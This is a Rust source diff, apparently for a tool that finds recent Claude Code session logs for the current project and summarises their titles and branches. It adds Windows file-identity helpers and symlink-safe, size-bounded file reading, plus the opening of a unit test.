#[cfg(any(target_os = "android", target_os = "netbsd", target_os = "openbsd"))]
|
||||
fn set_errno(value: i32) {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe {
|
||||
*libc::__errno() = value;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(any(
|
||||
target_os = "linux",
|
||||
target_os = "android",
|
||||
target_os = "macos",
|
||||
target_os = "ios",
|
||||
target_os = "freebsd",
|
||||
target_os = "dragonfly",
|
||||
target_os = "netbsd",
|
||||
target_os = "openbsd"
|
||||
)))]
|
||||
fn errno() -> i32 {
|
||||
1
|
||||
}
|
||||
|
||||
#[cfg(not(any(
|
||||
target_os = "linux",
|
||||
target_os = "android",
|
||||
target_os = "macos",
|
||||
target_os = "ios",
|
||||
target_os = "freebsd",
|
||||
target_os = "dragonfly",
|
||||
target_os = "netbsd",
|
||||
target_os = "openbsd"
|
||||
)))]
|
||||
fn set_errno(_value: i32) {}
|
||||
@@ -0,0 +1,166 @@
|
||||
use std::ffi::OsString;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub(super) fn open_directory_path(path: &Path) -> Option<File> {
|
||||
use std::os::windows::fs::OpenOptionsExt as _;
|
||||
|
||||
const FILE_FLAG_BACKUP_SEMANTICS: u32 = 0x0200_0000;
|
||||
const FILE_FLAG_OPEN_REPARSE_POINT: u32 = 0x0020_0000;
|
||||
let mut options = OpenOptions::new();
|
||||
options
|
||||
.read(true)
|
||||
.custom_flags(FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT);
|
||||
options.open(path).ok()
|
||||
}
|
||||
|
||||
pub(super) fn open_regular_path(path: &Path) -> Option<File> {
|
||||
use std::os::windows::fs::OpenOptionsExt as _;
|
||||
|
||||
const FILE_FLAG_OPEN_REPARSE_POINT: u32 = 0x0020_0000;
|
||||
let mut options = OpenOptions::new();
|
||||
options
|
||||
.read(true)
|
||||
.custom_flags(FILE_FLAG_OPEN_REPARSE_POINT);
|
||||
options.open(path).ok()
|
||||
}
|
||||
|
||||
pub(super) fn directory_path_matches(path: &Path, expected: &File) -> bool {
|
||||
let Some(opened) = open_directory_path(path) else {
|
||||
return false;
|
||||
};
|
||||
same_open_file(expected, &opened) && final_handle_path_matches(path, expected)
|
||||
}
|
||||
|
||||
pub(super) fn canonical_file_matches(path: &Path, expected: &File) -> bool {
|
||||
let Ok(canonical) = dunce::canonicalize(path) else {
|
||||
return false;
|
||||
};
|
||||
if canonical != path {
|
||||
return false;
|
||||
}
|
||||
let Some(opened) = open_regular_path(path) else {
|
||||
return false;
|
||||
};
|
||||
same_open_file(expected, &opened) && final_handle_path_matches(path, expected)
|
||||
}
|
||||
|
||||
pub(super) fn same_open_file(expected: &File, opened: &File) -> bool {
|
||||
file_identity(expected)
|
||||
.is_some_and(|expected| file_identity(opened).is_some_and(|opened| opened == expected))
|
||||
}
|
||||
|
||||
pub(super) fn final_handle_path_matches(path: &Path, file: &File) -> bool {
|
||||
use std::os::windows::io::AsRawHandle as _;
|
||||
|
||||
final_path_from_raw_handle(file.as_raw_handle().cast()).is_some_and(|handle_path| {
|
||||
dunce::canonicalize(path).is_ok_and(|path| path == dunce::simplified(&handle_path))
|
||||
})
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Eq)]
|
||||
struct FileIdentity {
|
||||
volume_serial_number: u32,
|
||||
file_index: u64,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(dead_code)]
|
||||
struct FileTime {
|
||||
low: u32,
|
||||
high: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(dead_code)]
|
||||
struct ByHandleFileInformation {
|
||||
file_attributes: u32,
|
||||
creation_time: FileTime,
|
||||
last_access_time: FileTime,
|
||||
last_write_time: FileTime,
|
||||
volume_serial_number: u32,
|
||||
file_size_high: u32,
|
||||
file_size_low: u32,
|
||||
number_of_links: u32,
|
||||
file_index_high: u32,
|
||||
file_index_low: u32,
|
||||
}
|
||||
|
||||
fn file_identity(file: &File) -> Option<FileIdentity> {
|
||||
use std::os::windows::io::AsRawHandle as _;
|
||||
|
||||
raw_handle_identity(file.as_raw_handle().cast())
|
||||
}
|
||||
|
||||
fn raw_handle_identity(handle: *mut std::ffi::c_void) -> Option<FileIdentity> {
|
||||
#[link(name = "kernel32")]
|
||||
unsafe extern "system" {
|
||||
#[link_name = "GetFileInformationByHandle"]
|
||||
fn get_file_information_by_handle(
|
||||
file: *mut std::ffi::c_void,
|
||||
information: *mut ByHandleFileInformation,
|
||||
) -> i32;
|
||||
}
|
||||
|
||||
let mut information = std::mem::MaybeUninit::uninit();
|
||||
// SAFETY: the borrowed handle is live and the output has the exact
|
||||
// BY_HANDLE_FILE_INFORMATION layout.
|
||||
let result = unsafe { get_file_information_by_handle(handle, information.as_mut_ptr()) };
|
||||
if result == 0 {
|
||||
return None;
|
||||
}
|
||||
// SAFETY: a nonzero result initializes the entire output structure.
|
||||
let information = unsafe { information.assume_init() };
|
||||
Some(FileIdentity {
|
||||
volume_serial_number: information.volume_serial_number,
|
||||
file_index: (u64::from(information.file_index_high) << 32)
|
||||
| u64::from(information.file_index_low),
|
||||
})
|
||||
}
|
||||
|
||||
fn final_path_from_raw_handle(handle: *mut std::ffi::c_void) -> Option<PathBuf> {
|
||||
use std::os::windows::ffi::OsStringExt as _;
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
unsafe extern "system" {
|
||||
#[link_name = "GetFinalPathNameByHandleW"]
|
||||
fn get_final_path_name_by_handle(
|
||||
file: *mut std::ffi::c_void,
|
||||
path: *mut u16,
|
||||
path_len: u32,
|
||||
flags: u32,
|
||||
) -> u32;
|
||||
}
|
||||
|
||||
// SAFETY: a null output with length zero is the documented size query.
|
||||
let needed = unsafe { get_final_path_name_by_handle(handle, std::ptr::null_mut(), 0, 0) };
|
||||
if needed == 0 {
|
||||
return None;
|
||||
}
|
||||
let mut buffer = vec![0_u16; needed as usize + 1];
|
||||
// SAFETY: `buffer` has the advertised writable UTF-16 capacity.
|
||||
let written = unsafe {
|
||||
get_final_path_name_by_handle(
|
||||
handle,
|
||||
buffer.as_mut_ptr(),
|
||||
u32::try_from(buffer.len()).unwrap_or(u32::MAX),
|
||||
0,
|
||||
)
|
||||
};
|
||||
if written == 0 || written as usize >= buffer.len() {
|
||||
return None;
|
||||
}
|
||||
Some(PathBuf::from(OsString::from_wide(
|
||||
&buffer[..written as usize],
|
||||
)))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(super) fn same_file_for_test(expected: &File, opened: &File) -> bool {
|
||||
same_open_file(expected, opened)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(super) fn final_path_matches_for_test(path: &Path, file: &File) -> bool {
|
||||
final_handle_path_matches(path, file)
|
||||
}
|
||||
@@ -0,0 +1,497 @@
|
||||
use std::collections::HashSet;
|
||||
use std::io::{Read, Seek, SeekFrom};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
use super::{
|
||||
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
|
||||
MAX_SESSIONS_PER_TOOL, RecentCandidate, RecentProbe, approved_root_for_recent,
|
||||
finish_tool_scan, is_within, normalize_title, retain_top_k_by,
|
||||
};
|
||||
|
||||
mod projects;
|
||||
|
||||
const READ_CHUNK: usize = 64 * 1024;
|
||||
const MAX_HEAD: usize = 4 * 1024 * 1024;
|
||||
const MAX_CONTENT_READS: usize = 128;
|
||||
const MAX_RECENT_CONTENT_READS: usize = 16;
|
||||
const MAX_RECENT_DIRECTORY_ENTRIES: usize = 64;
|
||||
|
||||
struct Candidate {
|
||||
root: ApprovedRoot,
|
||||
path: PathBuf,
|
||||
session_id: String,
|
||||
modified: SystemTime,
|
||||
size: u64,
|
||||
}
|
||||
|
||||
pub(super) fn scan(cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
|
||||
let Some(config_dir) = std::env::var_os("CLAUDE_CONFIG_DIR")
|
||||
.map(PathBuf::from)
|
||||
.or_else(|| dirs::home_dir().map(|home| home.join(".claude")))
|
||||
else {
|
||||
return Vec::new();
|
||||
};
|
||||
scan_in_config_dir(&config_dir, cwd, now)
|
||||
}
|
||||
|
||||
pub(super) fn most_recent(
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let Some(config_dir) = std::env::var_os("CLAUDE_CONFIG_DIR")
|
||||
.map(PathBuf::from)
|
||||
.or_else(|| dirs::home_dir().map(|home| home.join(".claude")))
|
||||
else {
|
||||
return RecentProbe::Complete(None);
|
||||
};
|
||||
most_recent_in_config_dir(&config_dir, cwd, now, within)
|
||||
}
|
||||
|
||||
fn scan_in_config_dir(
|
||||
config_dir: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
) -> Vec<ForeignSessionSummary> {
|
||||
let Some(root) = ApprovedRoot::new(config_dir) else {
|
||||
return Vec::new();
|
||||
};
|
||||
let project_dirs = projects::scoped_project_dirs(root.path(), cwd);
|
||||
scan_project_dirs(&root, &project_dirs, cwd, now)
|
||||
}
|
||||
|
||||
fn most_recent_in_config_dir(
|
||||
config_dir: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let root = match approved_root_for_recent(config_dir) {
|
||||
Ok(Some(root)) => root,
|
||||
Ok(None) => return RecentProbe::Complete(None),
|
||||
Err(()) => return RecentProbe::Incomplete,
|
||||
};
|
||||
let Some(project_dir) = projects::project_dir_path(root.path(), cwd) else {
|
||||
return RecentProbe::Complete(None);
|
||||
};
|
||||
match std::fs::symlink_metadata(&project_dir) {
|
||||
Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
|
||||
return RecentProbe::Complete(None);
|
||||
}
|
||||
Err(_) => return RecentProbe::Incomplete,
|
||||
Ok(metadata) if project_directory_is_safe(&metadata) => {}
|
||||
Ok(_) => return RecentProbe::Incomplete,
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
let collected = root
|
||||
.subroot(&project_dir)
|
||||
.and_then(|project_root| collect_recent_candidates(&project_root, now, within));
|
||||
#[cfg(windows)]
|
||||
let collected = collect_recent_candidates_windows(&root, &project_dir, now, within);
|
||||
#[cfg(not(any(unix, windows)))]
|
||||
let collected = None;
|
||||
|
||||
let Some((candidates, truncated)) = collected else {
|
||||
return RecentProbe::Incomplete;
|
||||
};
|
||||
finish_recent_candidates(candidates, truncated, cwd)
|
||||
}
|
||||
|
||||
fn finish_recent_candidates(
|
||||
candidates: Vec<Candidate>,
|
||||
truncated: bool,
|
||||
cwd: &Path,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let candidate = candidates.into_iter().find_map(|candidate| {
|
||||
qualify_candidate(&candidate, cwd)?;
|
||||
Some(RecentCandidate {
|
||||
tool: ForeignSessionTool::Claude,
|
||||
source: ForeignSessionSource::ClaudeCode,
|
||||
native_id: candidate.session_id,
|
||||
updated_at: candidate.modified,
|
||||
})
|
||||
});
|
||||
if candidate.is_none() && truncated {
|
||||
RecentProbe::Incomplete
|
||||
} else {
|
||||
RecentProbe::Complete(candidate)
|
||||
}
|
||||
}
|
||||
|
||||
fn project_directory_is_safe(metadata: &std::fs::Metadata) -> bool {
|
||||
if !metadata.is_dir() || metadata.file_type().is_symlink() {
|
||||
return false;
|
||||
}
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::fs::MetadataExt as _;
|
||||
const FILE_ATTRIBUTE_REPARSE_POINT: u32 = 0x400;
|
||||
if metadata.file_attributes() & FILE_ATTRIBUTE_REPARSE_POINT != 0 {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
fn collect_recent_candidates(
|
||||
project_root: &ApprovedRoot,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> Option<(Vec<Candidate>, bool)> {
|
||||
let mut candidates = Vec::with_capacity(MAX_RECENT_CONTENT_READS);
|
||||
let mut qualifying = 0;
|
||||
let outcome = project_root.for_each_entry_bounded(MAX_RECENT_DIRECTORY_ENTRIES, |name| {
|
||||
let path = project_root.join(&name);
|
||||
let Some(session_id) = path
|
||||
.file_name()
|
||||
.and_then(|name| name.to_str())
|
||||
.and_then(|name| name.strip_suffix(".jsonl"))
|
||||
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let Some((path, metadata)) = project_root.resolve_regular_file(&path) else {
|
||||
return;
|
||||
};
|
||||
if metadata.len() == 0 {
|
||||
return;
|
||||
}
|
||||
let Ok(modified) = metadata.modified() else {
|
||||
return;
|
||||
};
|
||||
if is_within(modified, now, within) {
|
||||
qualifying += 1;
|
||||
retain_top_k_by(
|
||||
&mut candidates,
|
||||
Candidate {
|
||||
root: project_root.clone(),
|
||||
path,
|
||||
session_id: session_id.to_owned(),
|
||||
modified,
|
||||
size: metadata.len(),
|
||||
},
|
||||
MAX_RECENT_CONTENT_READS,
|
||||
candidate_order,
|
||||
);
|
||||
}
|
||||
});
|
||||
outcome
|
||||
.complete
|
||||
.then_some((candidates, qualifying > MAX_RECENT_CONTENT_READS))
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn collect_recent_candidates_windows(
|
||||
config_root: &ApprovedRoot,
|
||||
project_dir: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> Option<(Vec<Candidate>, bool)> {
|
||||
let canonical_project = dunce::canonicalize(project_dir).ok()?;
|
||||
if canonical_project.as_path() != project_dir
|
||||
|| !canonical_project.starts_with(config_root.path())
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let project_root = ApprovedRoot::new(&canonical_project)?;
|
||||
if project_root.path() != canonical_project.as_path() {
|
||||
return None;
|
||||
}
|
||||
let mut entries = std::fs::read_dir(&canonical_project).ok()?;
|
||||
let mut candidates = Vec::with_capacity(MAX_RECENT_CONTENT_READS);
|
||||
let mut qualifying = 0;
|
||||
for _ in 0..MAX_RECENT_DIRECTORY_ENTRIES {
|
||||
let Some(entry) = entries.next() else {
|
||||
return Some((candidates, qualifying > MAX_RECENT_CONTENT_READS));
|
||||
};
|
||||
let entry = entry.ok()?;
|
||||
let path = entry.path();
|
||||
let Some(session_id) = path
|
||||
.file_name()
|
||||
.and_then(|name| name.to_str())
|
||||
.and_then(|name| name.strip_suffix(".jsonl"))
|
||||
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
let opened = project_root.open_regular_file(&path)?;
|
||||
if opened.metadata.len() == 0 {
|
||||
continue;
|
||||
}
|
||||
let modified = opened.metadata.modified().ok()?;
|
||||
if is_within(modified, now, within) {
|
||||
qualifying += 1;
|
||||
retain_top_k_by(
|
||||
&mut candidates,
|
||||
Candidate {
|
||||
root: project_root.clone(),
|
||||
path: opened.path,
|
||||
session_id: session_id.to_owned(),
|
||||
modified,
|
||||
size: opened.metadata.len(),
|
||||
},
|
||||
MAX_RECENT_CONTENT_READS,
|
||||
candidate_order,
|
||||
);
|
||||
}
|
||||
}
|
||||
match entries.next() {
|
||||
None => Some((candidates, qualifying > MAX_RECENT_CONTENT_READS)),
|
||||
Some(_) => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn scan_project_dirs(
|
||||
root: &ApprovedRoot,
|
||||
project_dirs: &[PathBuf],
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
) -> Vec<ForeignSessionSummary> {
|
||||
let candidates =
|
||||
collect_candidates(root, project_dirs, now, MAX_SESSION_AGE, MAX_CONTENT_READS);
|
||||
let mut accepted_ids = HashSet::new();
|
||||
let mut sessions = Vec::new();
|
||||
for candidate in candidates {
|
||||
if accepted_ids.contains(&candidate.session_id) {
|
||||
continue;
|
||||
}
|
||||
let Some(session) = read_candidate(candidate, cwd) else {
|
||||
continue;
|
||||
};
|
||||
accepted_ids.insert(session.native_id.clone());
|
||||
sessions.push(session);
|
||||
if sessions.len() == MAX_SESSIONS_PER_TOOL {
|
||||
break;
|
||||
}
|
||||
}
|
||||
finish_tool_scan(sessions)
|
||||
}
|
||||
|
||||
fn collect_candidates(
|
||||
root: &ApprovedRoot,
|
||||
project_dirs: &[PathBuf],
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
limit: usize,
|
||||
) -> Vec<Candidate> {
|
||||
let mut candidates = Vec::with_capacity(limit);
|
||||
for project_dir in project_dirs.iter().take(projects::MAX_PROJECT_DIRS) {
|
||||
let Some(project_root) = root.subroot(project_dir) else {
|
||||
continue;
|
||||
};
|
||||
let mut project_candidates = Vec::with_capacity(limit);
|
||||
// Enumerate every direct entry in these already-scoped directories so
|
||||
// filesystem order cannot decide which sessions receive the read budget.
|
||||
let complete = project_root.for_each_entry(|name| {
|
||||
let path = project_root.join(&name);
|
||||
let Some(session_id) = path
|
||||
.file_name()
|
||||
.and_then(|name| name.to_str())
|
||||
.and_then(|name| name.strip_suffix(".jsonl"))
|
||||
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let Some((path, metadata)) = project_root.resolve_regular_file(&path) else {
|
||||
return;
|
||||
};
|
||||
if !metadata.is_file() || metadata.len() == 0 {
|
||||
return;
|
||||
}
|
||||
let Ok(modified) = metadata.modified() else {
|
||||
return;
|
||||
};
|
||||
if !is_within(modified, now, within) {
|
||||
return;
|
||||
}
|
||||
retain_top_k_by(
|
||||
&mut project_candidates,
|
||||
Candidate {
|
||||
root: project_root.clone(),
|
||||
path,
|
||||
session_id: session_id.to_owned(),
|
||||
modified,
|
||||
size: metadata.len(),
|
||||
},
|
||||
limit,
|
||||
candidate_order,
|
||||
);
|
||||
});
|
||||
if !complete {
|
||||
continue;
|
||||
}
|
||||
for candidate in project_candidates {
|
||||
retain_top_k_by(&mut candidates, candidate, limit, candidate_order);
|
||||
}
|
||||
}
|
||||
candidates
|
||||
}
|
||||
|
||||
fn candidate_order(a: &Candidate, b: &Candidate) -> std::cmp::Ordering {
|
||||
b.modified
|
||||
.cmp(&a.modified)
|
||||
.then_with(|| a.session_id.cmp(&b.session_id))
|
||||
.then_with(|| a.path.cmp(&b.path))
|
||||
}
|
||||
|
||||
fn read_candidate(candidate: Candidate, requested_cwd: &Path) -> Option<ForeignSessionSummary> {
|
||||
let (head, stored_cwd) = qualify_candidate(&candidate, requested_cwd)?;
|
||||
let tail = read_tail(&candidate.root, &candidate.path, candidate.size)?;
|
||||
let first_prompt = first_prompt(&head);
|
||||
let title = [
|
||||
last_string(&tail, "customTitle").or_else(|| last_string(&head, "customTitle")),
|
||||
last_string(&tail, "aiTitle").or_else(|| last_string(&head, "aiTitle")),
|
||||
last_string(&tail, "lastPrompt").or_else(|| last_string(&head, "lastPrompt")),
|
||||
last_string(&tail, "summary").or_else(|| last_string(&head, "summary")),
|
||||
first_prompt,
|
||||
]
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.find_map(|value| normalize_title(&value))?;
|
||||
let branch = last_string(&tail, "gitBranch")
|
||||
.or_else(|| last_string(&head, "gitBranch"))
|
||||
.and_then(|value| normalize_title(&value));
|
||||
|
||||
Some(ForeignSessionSummary {
|
||||
tool: ForeignSessionTool::Claude,
|
||||
source: ForeignSessionSource::ClaudeCode,
|
||||
native_id: candidate.session_id,
|
||||
title,
|
||||
cwd: PathBuf::from(stored_cwd),
|
||||
updated_at: candidate.modified,
|
||||
branch,
|
||||
})
|
||||
}
|
||||
|
||||
fn qualify_candidate(candidate: &Candidate, requested_cwd: &Path) -> Option<(String, String)> {
|
||||
let (head, stored_cwd) = read_head_for_cwd(&candidate.root, &candidate.path, candidate.size)?;
|
||||
let first_line = head.lines().next().unwrap_or(&head);
|
||||
if first_line.contains("\"isSidechain\":true") || first_line.contains("\"isSidechain\": true") {
|
||||
return None;
|
||||
}
|
||||
let stored_cwd = stored_cwd?;
|
||||
if Path::new(&stored_cwd) != requested_cwd {
|
||||
return None;
|
||||
}
|
||||
Some((head, stored_cwd))
|
||||
}
|
||||
|
||||
fn read_head_for_cwd(
|
||||
root: &ApprovedRoot,
|
||||
path: &Path,
|
||||
size: u64,
|
||||
) -> Option<(String, Option<String>)> {
|
||||
let max = usize::try_from(size.min(MAX_HEAD as u64)).ok()?;
|
||||
let mut limit = READ_CHUNK.min(max);
|
||||
loop {
|
||||
let head = read_prefix(root, path, limit)?;
|
||||
let cwd = first_string(&head, "cwd");
|
||||
if cwd.is_some() || limit >= max {
|
||||
return Some((head, cwd));
|
||||
}
|
||||
limit = limit.saturating_mul(4).min(max);
|
||||
}
|
||||
}
|
||||
|
||||
fn read_prefix(root: &ApprovedRoot, path: &Path, limit: usize) -> Option<String> {
|
||||
let file = root.open_regular_file(path)?.file;
|
||||
let mut bytes = Vec::with_capacity(limit);
|
||||
file.take(limit as u64).read_to_end(&mut bytes).ok()?;
|
||||
Some(String::from_utf8_lossy(&bytes).into_owned())
|
||||
}
|
||||
|
||||
fn read_tail(root: &ApprovedRoot, path: &Path, size: u64) -> Option<String> {
|
||||
let len = size.min(READ_CHUNK as u64);
|
||||
let mut file = root.open_regular_file(path)?.file;
|
||||
file.seek(SeekFrom::Start(size.saturating_sub(len))).ok()?;
|
||||
let mut bytes = Vec::with_capacity(len as usize);
|
||||
file.take(len).read_to_end(&mut bytes).ok()?;
|
||||
Some(String::from_utf8_lossy(&bytes).into_owned())
|
||||
}
|
||||
|
||||
fn first_string(text: &str, key: &str) -> Option<String> {
|
||||
text.lines().find_map(|line| string_field(line, key))
|
||||
}
|
||||
|
||||
fn last_string(text: &str, key: &str) -> Option<String> {
|
||||
text.lines().rev().find_map(|line| string_field(line, key))
|
||||
}
|
||||
|
||||
fn string_field(line: &str, key: &str) -> Option<String> {
|
||||
let value: Value = serde_json::from_str(line).ok()?;
|
||||
value.get(key)?.as_str().map(str::to_owned)
|
||||
}
|
||||
|
||||
fn first_prompt(head: &str) -> Option<String> {
|
||||
let mut command_fallback = None;
|
||||
for line in head.lines() {
|
||||
if line.contains("\"tool_result\"") {
|
||||
continue;
|
||||
}
|
||||
let Ok(entry) = serde_json::from_str::<Value>(line) else {
|
||||
continue;
|
||||
};
|
||||
if entry.get("type").and_then(Value::as_str) != Some("user")
|
||||
|| entry.get("isMeta").and_then(Value::as_bool) == Some(true)
|
||||
|| entry.get("isCompactSummary").and_then(Value::as_bool) == Some(true)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
let Some(content) = entry.pointer("/message/content") else {
|
||||
continue;
|
||||
};
|
||||
let texts = match content {
|
||||
Value::String(text) => vec![text.as_str()],
|
||||
Value::Array(blocks) => blocks
|
||||
.iter()
|
||||
.filter(|block| block.get("type").and_then(Value::as_str) == Some("text"))
|
||||
.filter_map(|block| block.get("text").and_then(Value::as_str))
|
||||
.collect(),
|
||||
_ => Vec::new(),
|
||||
};
|
||||
for text in texts {
|
||||
let normalized = text.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
if normalized.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if let Some(command) = between(&normalized, "<command-name>", "</command-name>") {
|
||||
command_fallback.get_or_insert_with(|| command.to_owned());
|
||||
continue;
|
||||
}
|
||||
if let Some(command) = between(&normalized, "<bash-input>", "</bash-input>") {
|
||||
return normalize_title(&format!("! {}", command.trim()));
|
||||
}
|
||||
if is_generated_prompt(&normalized) {
|
||||
continue;
|
||||
}
|
||||
return normalize_title(&normalized);
|
||||
}
|
||||
}
|
||||
command_fallback.and_then(|value| normalize_title(&value))
|
||||
}
|
||||
|
||||
fn between<'a>(value: &'a str, start: &str, end: &str) -> Option<&'a str> {
|
||||
let start = value.find(start)? + start.len();
|
||||
let end = value[start..].find(end)? + start;
|
||||
Some(&value[start..end])
|
||||
}
|
||||
|
||||
fn is_generated_prompt(value: &str) -> bool {
|
||||
if value.starts_with("[Request interrupted by user") {
|
||||
return true;
|
||||
}
|
||||
let value = value.trim_start();
|
||||
value
|
||||
.strip_prefix('<')
|
||||
.and_then(|rest| rest.chars().next())
|
||||
.is_some_and(|first| first.is_ascii_lowercase())
|
||||
}
|
||||
|
||||
#[cfg(all(test, unix))]
|
||||
mod tests;
|
||||
#[cfg(all(test, windows))]
|
||||
mod windows_tests;
|
||||
@@ -0,0 +1,55 @@
|
||||
use std::collections::HashSet;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub(super) const MAX_PROJECT_DIRS: usize = 16;
|
||||
pub(super) const MAX_SANITIZED_LENGTH: usize = 200;
|
||||
|
||||
pub(super) fn scoped_project_dirs(config_dir: &Path, cwd: &Path) -> Vec<PathBuf> {
|
||||
let mut paths = vec![cwd.to_path_buf()];
|
||||
if let Ok(repository) = git2::Repository::discover(cwd) {
|
||||
if let Some(workdir) = repository.workdir() {
|
||||
paths.push(dunce::canonicalize(workdir).unwrap_or_else(|_| workdir.to_path_buf()));
|
||||
if repository.path() != repository.commondir()
|
||||
&& let Some(main_workdir) = repository.commondir().parent()
|
||||
{
|
||||
paths.push(
|
||||
dunce::canonicalize(main_workdir)
|
||||
.unwrap_or_else(|_| main_workdir.to_path_buf()),
|
||||
);
|
||||
}
|
||||
}
|
||||
if let Ok(worktrees) = repository.worktrees() {
|
||||
for name in worktrees.iter().flatten().flatten().take(MAX_PROJECT_DIRS) {
|
||||
if let Ok(worktree) = repository.find_worktree(name) {
|
||||
let path = worktree.path();
|
||||
paths.push(dunce::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
let mut seen = HashSet::new();
|
||||
paths
|
||||
.into_iter()
|
||||
.filter(|path| seen.insert(path.clone()))
|
||||
.take(MAX_PROJECT_DIRS)
|
||||
.filter_map(|path| project_dir_for_path(config_dir, &path))
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub(super) fn project_dir_for_path(config_dir: &Path, path: &Path) -> Option<PathBuf> {
|
||||
let project_dir = project_dir_path(config_dir, path)?;
|
||||
let metadata = std::fs::symlink_metadata(&project_dir).ok()?;
|
||||
(metadata.is_dir() && !metadata.file_type().is_symlink()).then_some(project_dir)
|
||||
}
|
||||
|
||||
pub(super) fn project_dir_path(config_dir: &Path, path: &Path) -> Option<PathBuf> {
|
||||
let sanitized = path
|
||||
.to_string_lossy()
|
||||
.chars()
|
||||
.map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' })
|
||||
.collect::<String>();
|
||||
if sanitized.len() > MAX_SANITIZED_LENGTH {
|
||||
return None;
|
||||
}
|
||||
Some(config_dir.join("projects").join(sanitized))
|
||||
}
|
||||
@@ -0,0 +1,411 @@
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
|
||||
use filetime::FileTime;
|
||||
use serde_json::json;
|
||||
use tempfile::TempDir;
|
||||
|
||||
use super::*;
|
||||
use crate::foreign_sessions::{MAX_SESSION_AGE, canonical_tempdir};
|
||||
|
||||
fn set_mtime(path: &Path, time: SystemTime) {
|
||||
filetime::set_file_mtime(path, FileTime::from_system_time(time)).unwrap();
|
||||
}
|
||||
|
||||
fn write_session(
|
||||
project: &Path,
|
||||
id: uuid::Uuid,
|
||||
lines: &[serde_json::Value],
|
||||
modified: SystemTime,
|
||||
) {
|
||||
fs::create_dir_all(project).unwrap();
|
||||
let path = project.join(format!("{id}.jsonl"));
|
||||
let contents = lines
|
||||
.iter()
|
||||
.map(serde_json::Value::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
fs::write(&path, format!("{contents}\n")).unwrap();
|
||||
set_mtime(&path, modified);
|
||||
}
|
||||
|
||||
fn user(cwd: &Path, prompt: &str) -> serde_json::Value {
|
||||
json!({
|
||||
"type": "user",
|
||||
"cwd": cwd,
|
||||
"message": {"role": "user", "content": prompt}
|
||||
})
|
||||
}
|
||||
|
||||
fn scoped_project(root: &Path, cwd: &Path) -> std::path::PathBuf {
|
||||
let name = cwd
|
||||
.to_string_lossy()
|
||||
.chars()
|
||||
.map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' })
|
||||
.collect::<String>();
|
||||
let path = root.join("projects").join(name);
|
||||
fs::create_dir_all(&path).unwrap();
|
||||
path
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_skips_sidechains_and_wrong_cwds_before_winner() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let project = scoped_project(root.path(), &cwd);
|
||||
let now = UNIX_EPOCH + Duration::from_secs(3_000_000);
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(10),
|
||||
&[json!({
|
||||
"type": "user",
|
||||
"cwd": cwd,
|
||||
"isSidechain": true,
|
||||
"message": {"content": "sidechain"}
|
||||
})],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(11),
|
||||
&[user(Path::new("/other"), "wrong cwd")],
|
||||
now - Duration::from_secs(1),
|
||||
);
|
||||
let winner = uuid::Uuid::from_u128(12);
|
||||
write_session(
|
||||
&project,
|
||||
winner,
|
||||
&[user(&cwd, "winner")],
|
||||
now - Duration::from_secs(2),
|
||||
);
|
||||
|
||||
let found =
|
||||
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)).unwrap();
|
||||
